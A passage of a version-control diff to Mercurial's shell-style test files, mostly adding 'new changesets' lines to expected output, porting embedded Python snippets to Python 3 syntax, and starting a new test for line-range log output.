   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg pull -R test-partial-clone
@@ -390,6 +400,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 3 changes to 3 files
+  new changesets 5fed3813f7f5:56f9bc90cce6
   (run 'hg update' to get a working copy)
 
 corrupt cookies file should yield a warning
diff --git a/tests/test-https.t b/tests/test-https.t
--- a/tests/test-https.t
+++ b/tests/test-https.t
@@ -148,6 +148,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
 
 A per-host certificate with multiple certs and one matching will be accepted
 
@@ -159,6 +160,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
 
 Defining both per-host certificate and a fingerprint will print a warning
 
@@ -170,6 +172,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
 
   $ DISABLECACERTS="--config devel.disableloaddefaultcerts=true"
 
@@ -189,6 +192,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 4 changes to 4 files
+  new changesets 8b6053c928fe
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg verify -R copy-pull
@@ -226,6 +230,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 5fed3813f7f5
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=5fed3813f7f5e1824344fdc9cf8f63bb662c292d HG_NODE_LAST=5fed3813f7f5e1824344fdc9cf8f63bb662c292d HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=https://localhost:$HGPORT/
   (run 'hg update' to get a working copy)
   $ cd ..
@@ -624,7 +629,6 @@
 
   $ P="$CERTSDIR" hg id https://localhost:$HGPORT/
   warning: connecting to localhost using legacy security technology (TLS 1.0); see https://mercurial-scm.org/wiki/SecureConnections for more info (?)
-  (the full certificate chain may not be available locally; see "hg help debugssl") (windows !)
   abort: error: *handshake failure* (glob)
   [255]
 
diff --git a/tests/test-i18n.t b/tests/test-i18n.t
--- a/tests/test-i18n.t
+++ b/tests/test-i18n.t
@@ -48,3 +48,27 @@
   $ $PYTHON check-translation.py *.po
   $ $PYTHON check-translation.py --doctest
   $ cd $TESTTMP
+
+#if gettext
+
+Check i18n cache isn't reused after encoding change:
+
+  $ cat > $TESTTMP/encodingchange.py << EOF
+  > from mercurial import encoding, registrar
+  > from mercurial.i18n import _
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > @command(b'encodingchange', norepo=True)
+  > def encodingchange(ui):
+  >     for encode in (b'ascii', b'UTF-8', b'ascii', b'UTF-8'):
+  >         encoding.encoding = encode
+  >         ui.write(b'%s\n' % _(b'(EXPERIMENTAL)'))
+  > EOF
+
+  $ LANGUAGE=ja hg --config extensions.encodingchange=$TESTTMP/encodingchange.py encodingchange
+  (?????)
+  (\xe5\xae\x9f\xe9\xa8\x93\xe7\x9a\x84\xe5\xae\x9f\xe8\xa3\x85) (esc)
+  (?????)
+  (\xe5\xae\x9f\xe9\xa8\x93\xe7\x9a\x84\xe5\xae\x9f\xe8\xa3\x85) (esc)
+
+#endif
diff --git a/tests/test-impexp-branch.t b/tests/test-impexp-branch.t
--- a/tests/test-impexp-branch.t
+++ b/tests/test-impexp-branch.t
@@ -2,7 +2,9 @@
   $ echo 'strip =' >> $HGRCPATH
 
   $ cat >findbranch.py <<EOF
-  > import re, sys
+  > from __future__ import absolute_import
+  > import re
+  > import sys
   > 
   > head_re = re.compile('^#(?:(?:\\s+([A-Za-z][A-Za-z0-9_]*)(?:\\s.*)?)|(?:\\s*))$')
   > 
diff --git a/tests/test-import-bypass.t b/tests/test-import-bypass.t
--- a/tests/test-import-bypass.t
+++ b/tests/test-import-bypass.t
@@ -266,6 +266,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets 07f494440405:4e322f7ce8e3
   updating to branch foo
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd repo-multi1
@@ -292,6 +293,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets 07f494440405:4e322f7ce8e3
   updating to branch foo
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd repo-multi2
diff --git a/tests/test-import-merge.t b/tests/test-import-merge.t
--- a/tests/test-import-merge.t
+++ b/tests/test-import-merge.t
@@ -37,6 +37,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 2 files
+  new changesets 07f494440405:890ecaa90481
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd repo2
@@ -47,6 +48,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 102a90ea7b4a
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 Test without --exact and diff.p1 == workingdir.p1
diff --git a/tests/test-import.t b/tests/test-import.t
--- a/tests/test-import.t
+++ b/tests/test-import.t
@@ -31,6 +31,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ HGEDITOR=cat hg --cwd b import ../exported-tip.patch
@@ -62,6 +63,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ HGEDITOR=cat hg --config ui.patch="$PYTHON ../dummypatch.py" --cwd b import --edit ../exported-tip.patch
@@ -89,6 +91,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cat > $TESTTMP/editor.sh <<EOF
@@ -134,6 +137,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg --cwd b import -mpatch ../diffed-tip.patch
@@ -150,6 +154,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg --cwd b import -mpatch -d '1 0' -u 'user@nowhere.net' ../diffed-tip.patch
@@ -183,6 +188,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ HGEDITOR=cat hg --cwd b import --no-commit --edit ../diffed-tip.patch
@@ -204,6 +210,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ sed 's/1,1/foo/' < diffed-tip.patch > broken.patch
@@ -224,6 +231,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd dir
@@ -240,6 +248,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg --cwd b import - < exported-tip.patch
@@ -266,6 +275,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg --cwd b import -m 'override' - < exported-tip.patch
@@ -292,6 +302,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ $PYTHON mkmsg.py diffed-tip.patch msg.patch
@@ -310,6 +321,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ grep -v '^Subject:' msg.patch | hg --cwd b import -
@@ -324,6 +336,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ grep -v '^email ' msg.patch | hg --cwd b import -
@@ -338,6 +351,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ egrep -v '^(Subject|email)' msg.patch | hg --cwd b import -
@@ -354,6 +368,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ $PYTHON mkmsg.py exported-tip.patch msg.patch
@@ -385,6 +400,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ $PYTHON mkmsg2.py diffed-tip.patch msg.patch
@@ -653,6 +669,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 80971e65b431
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg --cwd a export tip > tmp
diff --git a/tests/test-imports-checker.t b/tests/test-imports-checker.t
--- a/tests/test-imports-checker.t
+++ b/tests/test-imports-checker.t
@@ -125,7 +125,19 @@
   > from mercurial.node import hex
   > EOF
 
-  $ $PYTHON "$import_checker" testpackage*/*.py testpackage/subpackage/*.py
+# Shadowing a stdlib module to test "relative import of stdlib module" is
+# allowed if the module is also being checked
+
+  $ mkdir email
+  $ touch email/__init__.py
+  $ touch email/errors.py
+  $ cat > email/utils.py << EOF
+  > from __future__ import absolute_import
+  > from . import errors
+  > EOF
+
+  $ $PYTHON "$import_checker" testpackage*/*.py testpackage/subpackage/*.py \
+  >   email/*.py
   testpackage/importalias.py:2: ui module must be "as" aliased to uimod
   testpackage/importfromalias.py:2: ui from testpackage must be "as" aliased to uimod
   testpackage/importfromrelative.py:2: import should be relative: testpackage.unsorted
diff --git a/tests/test-incoming-outgoing.t b/tests/test-incoming-outgoing.t
--- a/tests/test-incoming-outgoing.t
+++ b/tests/test-incoming-outgoing.t
@@ -329,12 +329,14 @@
   adding manifests
   adding file changes
   added 9 changesets with 9 changes to 1 files
+  new changesets 00a43fa82f62:e4feb4ac9035
   (run 'hg update' to get a working copy)
   $ hg -R temp2 unbundle test2.hg
   adding changesets
   adding manifests
   adding file changes
   added 9 changesets with 9 changes to 1 files
+  new changesets 00a43fa82f62:e4feb4ac9035
   (run 'hg update' to get a working copy)
   $ hg -R temp tip
   changeset:   8:e4feb4ac9035
diff --git a/tests/test-inherit-mode.t b/tests/test-inherit-mode.t
--- a/tests/test-inherit-mode.t
+++ b/tests/test-inherit-mode.t
@@ -10,7 +10,9 @@
   $ cd dir
 
   $ cat >printmodes.py <<EOF
-  > import os, sys
+  > from __future__ import absolute_import, print_function
+  > import os
+  > import sys
   > 
   > allnames = []
   > isdir = {}
@@ -25,13 +27,14 @@
   > allnames.sort()
   > for name in allnames:
   >     suffix = name in isdir and '/' or ''
-  >     print '%05o %s%s' % (os.lstat(name).st_mode & 07777, name, suffix)
+  >     print('%05o %s%s' % (os.lstat(name).st_mode & 0o7777, name, suffix))
   > EOF
 
   $ cat >mode.py <<EOF
-  > import sys
+  > from __future__ import absolute_import, print_function
   > import os
-  > print '%05o' % os.lstat(sys.argv[1]).st_mode
+  > import sys
+  > print('%05o' % os.lstat(sys.argv[1]).st_mode)
   > EOF
 
   $ umask 077
diff --git a/tests/test-install.t b/tests/test-install.t
--- a/tests/test-install.t
+++ b/tests/test-install.t
@@ -76,6 +76,19 @@
   1 problems detected, please check your install!
   [1]
 
+hg debuginstall with invalid encoding
+  $ HGENCODING=invalidenc hg debuginstall | grep encoding
+  checking encoding (invalidenc)...
+   unknown encoding: invalidenc
+
+exception message in JSON
+
+  $ HGENCODING=invalidenc HGUSER= hg debuginstall -Tjson | grep error
+    "defaulttemplateerror": null,
+    "encodingerror": "unknown encoding: invalidenc",
+    "extensionserror": null, (no-pure !)
+    "usernameerror": "no username supplied",
+
 path variables are expanded (~ is the same as $TESTTMP)
   $ mkdir tools
   $ touch tools/testeditor.exe
diff --git a/tests/test-issue1306.t b/tests/test-issue1306.t
--- a/tests/test-issue1306.t
+++ b/tests/test-issue1306.t
@@ -47,6 +47,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 2 files
+  new changesets cb9a9f314b8b:ae3d9c30ec50
   updating to branch br
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -66,6 +67,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 2 files
+  new changesets cb9a9f314b8b:ae3d9c30ec50
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -83,6 +85,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 2 files
+  new changesets cb9a9f314b8b:ae3d9c30ec50
   updating to branch br
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-issue1502.t b/tests/test-issue1502.t
--- a/tests/test-issue1502.t
+++ b/tests/test-issue1502.t
@@ -19,6 +19,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 273d008d6e8e
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg -R foo1 book branchy
@@ -35,6 +36,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 84a798d48b17
   (run 'hg update' to get a working copy)
 
   $ hg -R foo1 book
diff --git a/tests/test-issue1802.t b/tests/test-issue1802.t
--- a/tests/test-issue1802.t
+++ b/tests/test-issue1802.t
@@ -43,6 +43,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 0 changes to 0 files (+1 heads)
+  new changesets 2d8bcf2dda39
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg manifest -v -r tip
diff --git a/tests/test-issue4074.t b/tests/test-issue4074.t
--- a/tests/test-issue4074.t
+++ b/tests/test-issue4074.t
@@ -8,7 +8,7 @@
   >     print
   >     if random.randint(0, 100) >= 50:
   >         x += 1
-  >     print hex(x)
+  >     print(hex(x))
   > EOF
 
   $ hg init a
diff --git a/tests/test-issue586.t b/tests/test-issue586.t
--- a/tests/test-issue586.t
+++ b/tests/test-issue586.t
@@ -22,6 +22,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets cb9a9f314b8b
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg merge
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -57,6 +58,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 7132ab4568ac
   (run 'hg update' to get a working copy)
   $ hg update
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -72,6 +74,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 5ddceb349652
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 merge both repos
diff --git a/tests/test-keyword.t b/tests/test-keyword.t
--- a/tests/test-keyword.t
+++ b/tests/test-keyword.t
@@ -125,6 +125,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets a2392c293916
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
   $ echo 'expand $Id$' > a
@@ -260,8 +261,9 @@
   adding manifests
   adding file changes
   added 2 changesets with 3 changes to 3 files
+  new changesets a2392c293916:ef63ca68695b
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Date: * (glob)
   Subject: changeset in...
@@ -283,8 +285,8 @@
   @@ -0,0 +1,1 @@
   +a
   \ No newline at end of file
+  MIME-Version: 1.0
   Content-Type: text/plain; charset="us-ascii"
-  MIME-Version: 1.0
   Content-Transfer-Encoding: 7bit
   Date:* (glob)
   Subject: changeset in...
@@ -918,6 +920,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 3 changes to 3 files
+  new changesets a2392c293916:ef63ca68695b
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd Test-a
@@ -1412,7 +1415,7 @@
   $ mv $HGRCPATH.new $HGRCPATH
 
   >>> from __future__ import print_function
-  >>> from hgclient import readchannel, runcommand, check
+  >>> from hgclient import check, readchannel, runcommand
   >>> @check
   ... def check(server):
   ...     # hello block
diff --git a/tests/test-largefiles-cache.t b/tests/test-largefiles-cache.t
--- a/tests/test-largefiles-cache.t
+++ b/tests/test-largefiles-cache.t
@@ -45,6 +45,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 1 changes to 1 files
+  new changesets eb85d9124f3f:26c18ce05e4e
   (run 'hg update' to get a working copy)
 
 Update working directory to "tip", which requires largefile("large"),
@@ -86,6 +87,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets eb85d9124f3f
   (run 'hg update' to get a working copy)
 
 #if unix-permissions
@@ -94,9 +96,11 @@
 
   $ cat > ls-l.py <<EOF
   > #!$PYTHON
-  > import sys, os
+  > from __future__ import absolute_import, print_function
+  > import os
+  > import sys
   > path = sys.argv[1]
-  > print '%03o' % (os.lstat(path).st_mode & 0777)
+  > print('%03o' % (os.lstat(path).st_mode & 0o777))
   > EOF
   $ chmod +x ls-l.py
 
diff --git a/tests/test-largefiles-misc.t b/tests/test-largefiles-misc.t
--- a/tests/test-largefiles-misc.t
+++ b/tests/test-largefiles-misc.t
@@ -111,6 +111,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 09a186cfa6da
   updating to branch default
   getting changed largefiles
   1 largefiles updated, 0 removed
@@ -528,13 +529,13 @@
   $ echo moremore >> anotherlarge
   $ hg revert anotherlarge -v --config 'ui.origbackuppath=.hg/origbackups'
   creating directory: $TESTTMP/addrm2/.hg/origbackups/.hglf/sub (glob)
-  saving current version of ../.hglf/sub/anotherlarge as $TESTTMP/addrm2/.hg/origbackups/.hglf/sub/anotherlarge.orig (glob)
+  saving current version of ../.hglf/sub/anotherlarge as $TESTTMP/addrm2/.hg/origbackups/.hglf/sub/anotherlarge (glob)
   reverting ../.hglf/sub/anotherlarge (glob)
   creating directory: $TESTTMP/addrm2/.hg/origbackups/sub (glob)
   found 90c622cf65cebe75c5842f9136c459333faf392e in store
   found 90c622cf65cebe75c5842f9136c459333faf392e in store
   $ ls ../.hg/origbackups/sub
-  anotherlarge.orig
+  anotherlarge
   $ cd ..
 
 Test glob logging from the root dir
@@ -1113,6 +1114,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets bf5e395ced2c
   nothing to rebase - updating instead
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-largefiles-small-disk.t b/tests/test-largefiles-small-disk.t
--- a/tests/test-largefiles-small-disk.t
+++ b/tests/test-largefiles-small-disk.t
@@ -1,7 +1,10 @@
 Test how largefiles abort in case the disk runs full
 
   $ cat > criple.py <<EOF
-  > import os, errno, shutil
+  > from __future__ import absolute_import
+  > import errno
+  > import os
+  > import shutil
   > from mercurial import util
   > #
   > # this makes the original largefiles code abort:
@@ -60,6 +63,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 390cf214e9ac
   updating to branch default
   getting changed largefiles
   abort: No space left on device
diff --git a/tests/test-largefiles-update.t b/tests/test-largefiles-update.t
--- a/tests/test-largefiles-update.t
+++ b/tests/test-largefiles-update.t
@@ -458,6 +458,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 5 changes to 5 files
+  new changesets 9530e27857f7:d65e59e952a9
   remote turned local largefile large2 into a normal file
   keep (l)argefile or use (n)ormal file? l
   largefile large1 has a merge conflict
@@ -493,6 +494,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 5 changes to 5 files
+  new changesets 9530e27857f7:d65e59e952a9
   remote turned local largefile large2 into a normal file
   keep (l)argefile or use (n)ormal file? l
   largefile large1 has a merge conflict
diff --git a/tests/test-largefiles-wireproto.t b/tests/test-largefiles-wireproto.t
--- a/tests/test-largefiles-wireproto.t
+++ b/tests/test-largefiles-wireproto.t
@@ -41,6 +41,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets b6eb3a2e2efe
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -53,6 +54,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets b6eb3a2e2efe
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 #endif
@@ -224,9 +226,11 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets cf03e5bb9936
 
 Archive contains largefiles
-  >>> import urllib2, os
+  >>> import os
+  >>> import urllib2
   >>> u = 'http://localhost:%s/archive/default.zip' % os.environ['HGPORT2']
   >>> with open('archive.zip', 'w') as f:
   ...     f.write(urllib2.urlopen(u).read())
@@ -338,6 +342,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 567253b0f523:04d19c27a332
   $ hg -R batchverifyclone verify --large --lfa
   checking changesets
   checking manifests
@@ -374,6 +379,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 6bba8cb6935d
   (run 'hg update' to get a working copy)
   $ hg -R batchverifyclone verify --lfa
   checking changesets
@@ -436,6 +442,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 567253b0f523
   updating to branch default
   getting changed largefiles
   1 largefiles updated, 0 removed
diff --git a/tests/test-largefiles.t b/tests/test-largefiles.t
--- a/tests/test-largefiles.t
+++ b/tests/test-largefiles.t
@@ -961,6 +961,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 10 changes to 4 files
+  new changesets 30d30fe6a5be:9e8fbc4bce62
   updating to branch default
   getting changed largefiles
   2 largefiles updated, 0 removed
@@ -1089,6 +1090,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 8 changes to 4 files
+  new changesets 30d30fe6a5be:ce8896473775
   updating to branch default
   getting changed largefiles
   2 largefiles updated, 0 removed
@@ -1102,6 +1104,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 16 changes to 8 files
+  new changesets 51a0ae4d5864:daea875e9014
   (run 'hg update' to get a working copy)
   6 largefiles cached
 
@@ -1129,6 +1132,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 16 changes to 8 files
+  new changesets 51a0ae4d5864:daea875e9014
   calling hook changegroup.lfiles: hgext.largefiles.reposetup.checkrequireslfiles
   (run 'hg update' to get a working copy)
   pulling largefiles for revision 7
@@ -1201,6 +1205,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files (+1 heads)
+  new changesets a381d2c8c80e
   rebasing 8:f574fb32bb45 "modify normal file largefile in repo d"
   Invoking status precommit hook
   M sub/normal4
@@ -1258,6 +1263,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files (+1 heads)
+  new changesets a381d2c8c80e
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg rebase
   rebasing 8:f574fb32bb45 "modify normal file largefile in repo d"
@@ -1663,6 +1669,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 24 changes to 10 files
+  new changesets 30d30fe6a5be:daea875e9014
   updating to branch default
   getting changed largefiles
   3 largefiles updated, 0 removed
@@ -1688,6 +1695,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 4 changes to 4 files (+1 heads)
+  new changesets a381d2c8c80e:598410d3eb9a
   (run 'hg heads' to see heads, 'hg merge' to merge)
   2 largefiles cached
   $ hg merge
@@ -1763,6 +1771,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 26 changes to 10 files
+  new changesets 30d30fe6a5be:a381d2c8c80e
   updating to branch default
   getting changed largefiles
   3 largefiles updated, 0 removed
@@ -1775,6 +1784,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 598410d3eb9a
   $ hg log --template '{rev}:{node|short}  {desc|firstline}\n'
   9:598410d3eb9a  modify normal file largefile in repo d
   8:a381d2c8c80e  modify normal file and largefile in repo b
diff --git a/tests/test-lfconvert.t b/tests/test-lfconvert.t
--- a/tests/test-lfconvert.t
+++ b/tests/test-lfconvert.t
@@ -128,7 +128,7 @@
   $ hg merge
   merging sub/maybelarge.dat and stuff/maybelarge.dat to stuff/maybelarge.dat
   merging sub/normal2 and stuff/normal2 to stuff/normal2
-  warning: $TESTTMP/bigfile-repo/stuff/maybelarge.dat looks like a binary file. (glob)
+  warning: stuff/maybelarge.dat looks like a binary file.
   warning: conflicts while merging stuff/maybelarge.dat! (edit, then use 'hg resolve --mark')
   0 files updated, 1 files merged, 0 files removed, 1 files unresolved
   use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
@@ -326,7 +326,7 @@
   $ cd largefiles-repo-hg
   $ cat >> .hg/hgrc <<EOF
   > [experimental]
-  > evolution=createmarkers
+  > evolution.createmarkers=True
   > EOF
   $ hg debugobsolete `hg log -r tip -T "{node}"`
   obsoleted 1 changesets
diff --git a/tests/test-lock.py b/tests/test-lock.py
--- a/tests/test-lock.py
+++ b/tests/test-lock.py
@@ -19,7 +19,7 @@
 # work around http://bugs.python.org/issue1515
 if types.MethodType not in copy._deepcopy_dispatch:
     def _deepcopy_method(x, memo):
-        return type(x)(x.im_func, copy.deepcopy(x.im_self, memo), x.im_class)
+        return type(x)(x.__func__, copy.deepcopy(x.__self__, memo), x.im_class)
     copy._deepcopy_dispatch[types.MethodType] = _deepcopy_method
 
 class lockwrapper(lock.lock):
diff --git a/tests/test-log-exthook.t b/tests/test-log-exthook.t
--- a/tests/test-log-exthook.t
+++ b/tests/test-log-exthook.t
@@ -2,8 +2,12 @@
 -------------------------------------------
 
   $ cat > $TESTTMP/logexthook.py <<EOF
-  > from mercurial import repair, commands
-  > from mercurial import cmdutil
+  > from __future__ import absolute_import
+  > from mercurial import (
+  >   cmdutil,
+  >   commands,
+  >   repair,
+  > )
   > def rot13description(self, ctx):
   >     summary = "summary".encode('rot13')
   >     description = ctx.description().strip().splitlines()[0].encode('rot13')
diff --git a/tests/test-log-linerange.t b/tests/test-log-linerange.t
new file mode 100644
--- /dev/null
+++ b/tests/test-log-linerange.t
@@ -0,0 +1,857 @@
+  $ cat >> $HGRCPATH << EOF
+  > [diff]
+  > git = true
+  > EOF
+
+  $ hg init
+  $ cat > foo << EOF
+  > 0
+  > 1
+  > 2
+  > 3
+  > 4
+  > EOF
+  $ hg ci -Am init
+  adding foo
+  $ cat > foo << EOF
+  > 0
+  > 0
+  > 0
+  > 0
+  > 1
+  > 2
+  > 3
+  > 4
+  > EOF
+  $ hg ci -m 'more 0'
+  $ sed 's/2/2+/' foo > foo.new
+  $ mv foo.new foo
+  $ cat > bar << EOF
+  > a
+  > b
+  > c
+  > d
+  > e
+  > EOF
+  $ hg add bar
+  $ hg ci -Am "2 -> 2+; added bar"
+  $ cat >> foo << EOF
+  > 5
+  > 6
+  > 7
+  > 8
+  > 9
+  > 10
+  > 11
+  > EOF
+  $ hg ci -m "to 11"
+
+Add some changes with two diff hunks
+
+  $ sed 's/^1$/ 1/' foo > foo.new
+  $ mv foo.new foo
+  $ sed 's/^11$/11+/' foo > foo.new
+  $ mv foo.new foo
+  $ hg ci -m '11 -> 11+; leading space before "1"'
+(make sure there are two hunks in "foo")
+  $ hg diff -c .
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -2,7 +2,7 @@
+   0
+   0
+   0
+  -1
+  + 1
+   2+
+   3
+   4
+  @@ -12,4 +12,4 @@
+   8
+   9
+   10
+  -11
+  +11+
+  $ sed 's/3/3+/' foo > foo.new
+  $ mv foo.new foo
+  $ sed 's/^11+$/11-/' foo > foo.new
+  $ mv foo.new foo
+  $ sed 's/a/a+/' bar > bar.new
+  $ mv bar.new bar
+  $ hg ci -m 'foo: 3 -> 3+ and 11+ -> 11-; bar: a -> a+'
+(make sure there are two hunks in "foo")
+  $ hg diff -c . foo
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -4,7 +4,7 @@
+   0
+    1
+   2+
+  -3
+  +3+
+   4
+   5
+   6
+  @@ -12,4 +12,4 @@
+   8
+   9
+   10
+  -11+
+  +11-
+
+  $ hg log -f -L foo,5:7 -p
+  changeset:   5:cfdf972b3971
+  tag:         tip
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     foo: 3 -> 3+ and 11+ -> 11-; bar: a -> a+
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -4,7 +4,7 @@
+   0
+    1
+   2+
+  -3
+  +3+
+   4
+   5
+   6
+  
+  changeset:   4:eaec41c1a0c9
+  user:        test
+  date:        Thu Jan 01 00:00:00 1970 +0000
+  summary:     11 -> 11+; leading space before "1"
+  
+  diff --git a/foo b/foo
+  --- a/foo
+  +++ b/foo
+  @@ -2,7 +2,7 @@
+   0
+   0
+   0
+  -1
+  + 1
+   2+
+   3
+   4
+  
